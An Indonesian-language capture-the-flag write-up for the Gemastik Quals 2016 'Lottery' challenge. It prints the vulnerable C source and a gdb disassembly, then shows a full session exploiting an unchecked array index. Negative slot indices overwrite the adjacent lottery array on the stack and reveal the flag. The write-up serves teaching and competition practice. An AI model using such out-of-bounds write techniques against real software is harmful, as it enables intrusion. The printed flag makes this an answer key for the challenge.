Gemastik Quals 2016 Lottery (125 Points)
Masalah
Diberikan file lottery.c
, binary file lottery
dan layanan yang dapat diakses melalui nc target.netsec.gemastik.ui.ac.id 1339
.
Isi lottery.c
.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void print_slot(int guessed_slot[10]) {
int i;
printf("\n");
for (i = 0; i < 10; i++) {
if (guessed_slot[i] != -1) {
printf(" %d", guessed_slot[i]);
} else {
printf(" ?");
}
}
printf("\n");
for (i = 1; i <= 10; i++) printf(" -");
printf("\n");
for (i = 1; i <= 10; i++) printf(" %d", i);
printf("\n\n");
}
int main() {
char data[64];
FILE *fp;
fp = fopen("/dev/urandom", "r");
fread(&data, 1, 64, fp);
fclose(fp);
unsigned int random_number = (unsigned int)data;
srand(random_number);
int lottery_slot[10];
int guessed_slot[10];
memset(lottery_slot, -1, sizeof(lottery_slot));
memset(guessed_slot, -1, sizeof(guessed_slot));
int i = 0;
for (i = 0; i < 10; i++) {
lottery_slot[i] = rand() % 10;
}
printf("Lottery Machine v1.0\n\n");
printf("Guess 7 slot out of 10\n");
print_slot(guessed_slot);
for (i = 0; i < 7; i++) {
int index, number;
printf("Choose slot index (1-10) : ");
scanf("%d", &index);
printf("Guess the number (0-9) : ");
scanf("%d", &number);
index--;
guessed_slot[index] = number;
print_slot(guessed_slot);
}
int right = 0;
for (i = 0; i < 10; i++) {
if (guessed_slot[i] == lottery_slot[i]) right++;
}
if (right == 7) {
printf("YOU WON!!!\n");
printf("Here is your prize :\n");
char flag[64];
fp = fopen("Lottery.flag", "r");
fread(&flag, 1, 64, fp);
fclose(fp);
printf("%s\n", flag);
} else {
printf("Better Luck Next Time\n");
}
return 0;
}
Penyelesaian
Kelemahan ditemukan pada penggunaan fungsi memset
yang mengatur semua buffer guessed_slot
dan lottery_slot
bernilai -1.
Adapun kelemahan lainnya adalah indeks buffer tersebut yang tidak dibatasi dengan baik. Jika anda melakukan debugging, anda akan mendapatkan ini.
$ gdb -q lottery
(gdb) disassemble main
...
0x080487c5 <+132>: push 0x28
0x080487c7 <+134>: push 0xffffffff
0x080487c9 <+136>: lea eax,[ebp-0xdc]
0x080487cf <+142>: push eax
0x080487d0 <+143>: call 0x8048520 <memset@plt>
0x080487d5 <+148>: add esp,0x10
0x080487d8 <+151>: sub esp,0x4
0x080487db <+154>: push 0x28
0x080487dd <+156>: push 0xffffffff
0x080487df <+158>: lea eax,[ebp-0xb4]
0x080487e5 <+164>: push eax
0x080487e6 <+165>: call 0x8048520 <memset@plt>
0x080487eb <+170>: add esp,0x10
0x080487ee <+173>: mov DWORD PTR [ebp-0xec],0x0
0x080487f8 <+183>: mov DWORD PTR [ebp-0xec],0x0
0x08048802 <+193>: jmp 0x804883f <main+254>
0x08048804 <+195>: call 0x8048540 <rand@plt>
...
Terlihat stack guessed_slot
dan lottery_slot
yang berdekatan, pada [ebp-0xdc]
dan [ebp-0xb4]
. Selisih stack tersebut adalah 40. Karena menggunakan tipe data Integer maka selisih sebenarnya adalah 40/4 = 10
.
Selanjutnya adalah menimpa lottery_slot
dengan bilangan -1. Mulai dengan indeks minus -9 sampai -1, kemudian isi nilainya dengan -1.
Anda akan mendapatkan ini.
$ ./lottery
Lottery Machine v1.0
Guess 7 slot out of 10
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -9
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -8
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -7
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -6
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -5
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -4
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
Choose slot index (1-10) : -3
Guess the number (0-9) : -1
? ? ? ? ? ? ? ? ? ?
- - - - - - - - - -
1 2 3 4 5 6 7 8 9 10
YOU WON!!!
Here is your prize :
GEMASTIK{0ut_of_b0und_for_$1000000}